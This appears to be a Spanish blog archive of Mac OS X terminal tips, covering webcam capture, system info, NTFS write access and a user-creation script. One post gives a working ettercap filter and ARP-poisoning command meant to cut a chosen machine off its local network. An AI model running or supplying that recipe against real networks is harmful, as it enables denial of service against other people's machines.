lunes, 30 de abril de 2012

Captura de foto de la webcam en Macos X desde Terminal

ImageSnap te permite capturar fotos de una cámara iSight u otra fuente de vídeo. Puede que recuerde a la herramienta isightcapture. Copia imagesnap en el directorio donde quieras dejar las imagenes y llamalo con $ ./imagesnap nombrearchivo.jpg. Para comprobar que funciona en tu macquina puedes listar las webcam con el la opcion -l del comando: $ imageSnap -l Aqui todas las opciones: USAGE: imagesnap [options] [filename] Version: 0.2.5 Captures an image from a video device and saves it in a file. If no device is specified, the system default will be used. If no filename is specfied, snapshot.jpg will be used. Supported image types: JPEG, TIFF, PNG, GIF, BMP -h This help message -v Verbose mode -l List available video devices -t x.xx Take a picture every x.xx seconds -q Quiet mode. Do not output any text -w x.xx Warmup. Delay snapshot x.xx seconds after turning on camera -d device Use named video device

miércoles, 11 de abril de 2012

Comando desde Terminal para ver configuracion del sistema.

Con el comando system_profiler desde una shell de la Terminal de macos x podremos ver la configuración de hardware y red de la máquina. Útil si estamos conectados en remoto desde una consola.

lunes, 26 de marzo de 2012

sábado, 3 de marzo de 2012

DoS trafico de red en LAN con filtro ettercap

Primero se crea el filtro con un editor de texto

if (ip.src=="ip objetivo" || ip.dst=="ip objetivo) {
drop();
kill();
msg("Denegacion\n");
}

Guardamos el filtro con la extension .eff

Compilamos en filtro para ettercap con el comando

etterfilter nombrearchivo.eff -o nombrearchivo.ef

Una vez creado se lanza desde ettercap con el comando

ettercap -T -q -F nombrearchivo.ef -M ARP /ip objetivo/ //

Los paquetes enviados a la ip objetivo los recibira nuestra maquina que los desechara inutilizando la conexion de red de la maquina objetivo.

martes, 28 de febrero de 2012

Acceso de lectura y escritura para las particiones NTFS en mac os x SnowLeopard

Desde la terminal:

diskutil info /Volumes/NOMBRE_DEL_DISCO

Deberemos copiar el UUID que nos devuelve el comando. Lo siguiente es comprobar si el fichero /etc/fstab existe

$ ls /etc/ | grep fstab

si existe, haremos una copia de seguridad

$ cp /etc/fstab ~/Desktop/

editamos el fichero con:

$ sudo vim /etc/fstab

y añadimos la línea

UUID=uuid_del_disco none ntfs rw

salvamos los cambios y reiniciamos. Ahora podremos escribir sobre una partición NTFS.


Visto y medio fusilado de http://comandogum.com/2010/02/snowleopard-permite-la-escritura-sobre-discos-con-formato-ntfs.gum.html

viernes, 24 de febrero de 2012

Shell script para creación de usuario en macos x desde la Terminal

#!/bin/bash
# This script creates a user account under Mac OS X
# (tested with 10.5 and 10.6; likely works with 10.4 but not earlier)
# Written by Clinton Blackmore, based on work at
# http://serverfault.com/questions/20702

# === Typically, this is all you need to edit ===

USERNAME=joeadmin
FULLNAME="Joe Admin"
PASSWORD="hard_to_hack"

# A list of (secondary) groups the user should belong to
# This makes the difference between admin and non-admin users.
# Leave only one uncommented
#SECONDARY_GROUPS="" # for a non-admin user
SECONDARY_GROUPS="admin _lpadmin _appserveradm _appserverusr" # for an admin user

# ====

if [[ $UID -ne 0 ]]; then echo "Please run $0 as root." && exit 1; fi

# Find out the next available user ID
MAXID=$(dscl . -list /Users UniqueID | awk '{print $2}' | sort -ug | tail -1)
USERID=$((MAXID+1))

# Create the user account
dscl . -create /Users/$USERNAME
dscl . -create /Users/$USERNAME UserShell /bin/bash
dscl . -create /Users/$USERNAME RealName "$FULLNAME"
dscl . -create /Users/$USERNAME UniqueID "$USERID"
dscl . -create /Users/$USERNAME PrimaryGroupID 20
dscl . -create /Users/$USERNAME NFSHomeDirectory /Users/$USERNAME

dscl . -passwd /Users/$USERNAME $PASSWORD


# Add use to any specified groups
for GROUP in $SECONDARY_GROUPS ; do
dseditgroup -o edit -t user -a $USERNAME $GROUP
done

# Create the home directory
createhomedir -c > /dev/null

echo "Created user #$USERID: $USERNAME ($FULLNAME)"